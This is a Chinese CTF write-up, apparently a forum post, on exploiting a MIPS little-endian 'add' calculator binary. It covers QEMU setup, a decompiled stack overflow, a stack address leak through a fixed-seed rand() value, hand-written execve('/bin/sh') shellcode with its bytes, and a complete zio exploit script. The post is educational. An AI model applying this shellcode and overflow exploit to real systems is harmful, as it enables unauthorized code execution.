第一个mips pwn搭建环境,逆向,调试,最终exp的过程 参考了了 https://www.giantbranch.cn/2017/12/29/MIPS%20PWN%20%E5%AE%9E%E4%BE%8B%20%E2%80%94%E2%80%94%20UCTF%202016%20ADD/
基础知识:
环境搭建,mips指令,mips shellcode的编写
遇到的坑:mips编译,大小端;shellcode通过相对跳转跳过破坏的栈数据
思路:栈溢出,又没有nx,直接执行shellcode,通过伪随机数漏洞可以泄露栈地址。
问题:qemu的nat模式可以连接互联网,但是bridge模式,guest还是无法联网,但是不影响本题目。如果有大佬知道怎么解决,请留言告诉我一下~我的环境是Ubuntu 16.04的VMware虚拟机。
两种方案:1、nat模式下联网安装软件,bridge模式下guest与host可以互通,ssh连接。
2、只使用nat模式,同时使用-redir tcp:11022::22 进行端口映射,这样就可以通过ssh -p 11022 root@127.0.0.1 来连接guest虚拟机了。
为什么非要ssh连接guest呢,因为guest原有的终端太差,总是显示乱码。
1. 环境搭建 题目: https://dn.jarvisoj.com/challengefiles/add.1f54e2c8b9396f83a4be2632bcb3a5f5
这是2016全国大学生信息安全竞赛的一个题,是MIPSEL(小端的)
qemu虚拟机可以在这里下
https://people.debian.org/~aurel32/qemu/mipsel/
1.1 启动命令: 1.1.1 NAT模式 可以连接互联网
qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev user,id=net0 -device e1000,netdev=net0,id=net0,mac=52:54:00:c9:18:27 -redir tcp:11022::22 -redir tcp:11000::11000 -nographic
这样就可以与guest虚拟机ssh连接了,而且guest虚拟机可以连接互联网
1.1.2 bridge模式 ,可以内网连接
sudo qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -net nic,macaddr=00:16:3e:00:00:01 -net tap -nographic
host的/etc/network/interfaces
# interfaces(5) file used by ifup(8) and ifdown(8)
auto lo
iface lo inet loopback
iface ens33 inet dhcp
auto br0
iface br0 inet dhcp
bridge_ports ens33
bridge_stp off
bridge_maxwait 0
bridge_fd 0 /etc/qemu-ifup 末尾添加
echo "W: $0: no bridge for guest interface found" >&2
echo "Executing /ect/qemu-ifup"
echo "Bringing $1 for 0.0.0.0 promisc up"
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep3 1.2 guest配置 1.2.1 nat模式安装软件 环境:root root登录
源的问题
cp -r /etc/apt/sources.list /etc/apt/sources.list.bak;
echo "deb http://archive.debian.org/debian/ wheezy main contrib non-free" > /etc/apt/sources.list;
cat /etc/apt/sources.list;
apt-get update;
apt-get update
apt-get install build-essential gdb socat tmux python-pip git
git clone https://github.com/zTrix/zio.git
python setup.py install
1.2.2 bridge模式 guest里面配置ip
ifconfig eth0 172.16.250.140 netmask 255.255.255.0
guset里面配置ssh,添加
AllowUsers root
PermitRootLogin yes
PasswordAuthentication yes 开启Python server
l@ubuntu:~/test/mips_env/add$ python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
qemu虚拟机内下载下来
wget http://172.16.250.128:8080/add
2. 逆向分析 l@ubuntu:~/test/mips_env/add$ checksec add
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/l/.pwntools-cache/update to 'never'.
[*] A newer version of pwntools is available on pypi (3.13.0 --> 4.1.0).
Update with: $ pip install -U pwntools
[*] '/home/l/test/mips_env/add/add'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
2.1 运行
2.2 ghidra的反编译结果!比ida简单又强大 int main(void)
{
int iVar1;
long lVar2;
long lVar3;
char *buf_p;
uint uVar4;
char challenge [10];
char buf [64]; 缓冲区
setvbuf(stdout,(char *)0x0,2,0);
puts("[calc]");
puts("Type \'help\' for help.");
srand(0x123456);
iVar1 = rand();
sprintf(challenge,"%d",iVar1);
uVar4 = 0x80;
buf_p = buf;
do {
if (uVar4 < 2) break;
LAB_00400984:
iVar1 = _IO_getc(stdin);
if (iVar1 < 0) goto LAB_00400ad4;
LAB_004009a4:
*buf_p = (char)iVar1; 循环读入,栈溢出!!!
uVar4 = uVar4 - 1;
buf_p = buf_p + 1;
} while (iVar1 != 10);
if (uVar4 == 0) goto LAB_004009c0;
do {
*buf_p = '\0';
LAB_004009c0:
buf_p = strchr(buf,10);
if (buf_p != (char *)0x0) {
*buf_p = '\0';
}
iVar1 = strcmp(buf,"help");
if (iVar1 == 0) {
buf_p = "Type \'exit\' to exit.";
LAB_00400b18:
puts(buf_p);
puts("Input 2 numbers just like:");
puts("1 2");
}
else {
iVar1 = strcmp(buf,"exit");
if (iVar1 == 0) {
puts("Exiting...");
return 0;
}
iVar1 = strcmp(buf,challenge);
if (iVar1 == 0) {
printf("Your input was %p\n",buf);
uVar4 = 0x80;
buf_p = buf;
goto LAB_00400984;
}
buf_p = strchr(buf,0x20);
if (buf_p == (char *)0x0) {
buf_p = "Error!";
goto LAB_00400b18;
}
lVar2 = strtol(buf,(char **)0x0,10);
lVar3 = strtol(buf_p + 1,(char **)0x0,10);
printf("%d + %d = %d\n",lVar2,lVar3,lVar3 + lVar2);
if (lVar3 + lVar2 == 0x133a05e) {
puts("Thanks,Bye~");
return 0;
}
}
uVar4 = 0x80;
iVar1 = _IO_getc(stdin);
buf_p = buf;
if (-1 < iVar1) goto LAB_004009a4;
LAB_00400ad4:
if (buf_p == buf) {
return 0;
}
} while( true );
} 2.3 漏洞点 返回地址保存在$sp+0x98-4
读入的数据保存在$sp+0x24,两者相差0x70,即112
函数返回的断点
b* 0x400b08
2.4 成功劫持pc
poc如下
from zio import *
io=zio('./add')
io.read_until('help.\n')
io.gdb_hint([0x4009b4]) #after getchar
io.writeline('10080303 10080303'+'\x00'+'a'*(0x70-18)+'b'*4)
io.interact() 2.5 泄露栈地址,定位shellcode 因为没有开启nx保护,所以可以直接在栈中执行shellcode,但是需要定位到shellcode
想泄露,需要满足输入与challenge相同,而challenge来自伪随机数
在b *0x40098c下断点,看伪随机数
2.6 shellcode 2.6.1 shellcode.s 不能用j,因为是绝对地址跳转
需要用bne,相对跳转
需要跳过坑!!(有些栈数据被程序破坏掉,会导致shellcode执行不正常)
.global main
main:
li $a2,0x111 #
p:bltzal $a2,p # 该指令执行后,会使得下行的地址保存在$ra中
li $a2,0 # 存入第三个参数0,
addiu $sp,$sp,-60 # 拉高堆栈,存放参数
addiu $a0,$ra,52 # $ra+52是下面参数字符串/bin/sh的首地址
sw $a0,-24($sp) # 将/bin/sh存入开辟的数组
sw $zero,-20($sp) # 将参数0存入数组
addiu $a1,$sp,-24
bne $a0,$a2,q#jump
li $a2,0 #nop
li $a2,0 #nop
li $a2,0 #nop
li $a2,0 #nop
q:li $v0,4011
syscall
sc: # 存储的参数/bin/sh
.byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00 2.6.2 . makefile 一定要注意是小端
all:
mips-linux-gnu-as -EL --32 shellcode.s -o shellcode
2.6.3 抠出shellcode字节码 打开ghidra的Window菜单下的bytes窗口
2.6.4 最后的exp from zio import *
io=zio('./add',timeout=10000)
io.read_until('help.\n')
io.gdb_hint() #after getchar
io.writeline('2057561479')
io.read_until('Your input was ')
buf_addr=io.read_until('\n')[:-1]
buf_addr_int=int(buf_addr,16)
shellcode="\x11\x01\x06\x24\xff\xff\xd0\x04\x00\x00\x00\x00\x00\x00\x06\x24\xc4\xff\xbd\x27\x34\x00\xe4\x27\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\x05\x00\x86\x14\xe8\xff\xa5\x27\x00\x00\x06\x24\x00\x00\x06\x24\x00\x00\x06\x24\x00\x00\x06\x24\xab\x0f\x02\x24\x0c\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00" #length 72
payload='10080303 10080303'+'\x00'*3 #20
payload+=shellcode #20+72
payload+='a'*(0x70-92)
payload+=l32(buf_addr_int+20) #ret addr
io.writeline(payload)
io.interact()
2.7 调试 ~/.gdbinit
source ~/gdb.cmd ~/gdb.cmd
b *0x4009b4
b* 0x400b08
set disassemble-next-line on buf地址泄露
函数返回的断点
b* 0x400b08
返回地址覆盖为buf+20
成功!!!
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2020-5-21 08:22
被nicaicaiwo编辑
,原因:
上传的附件: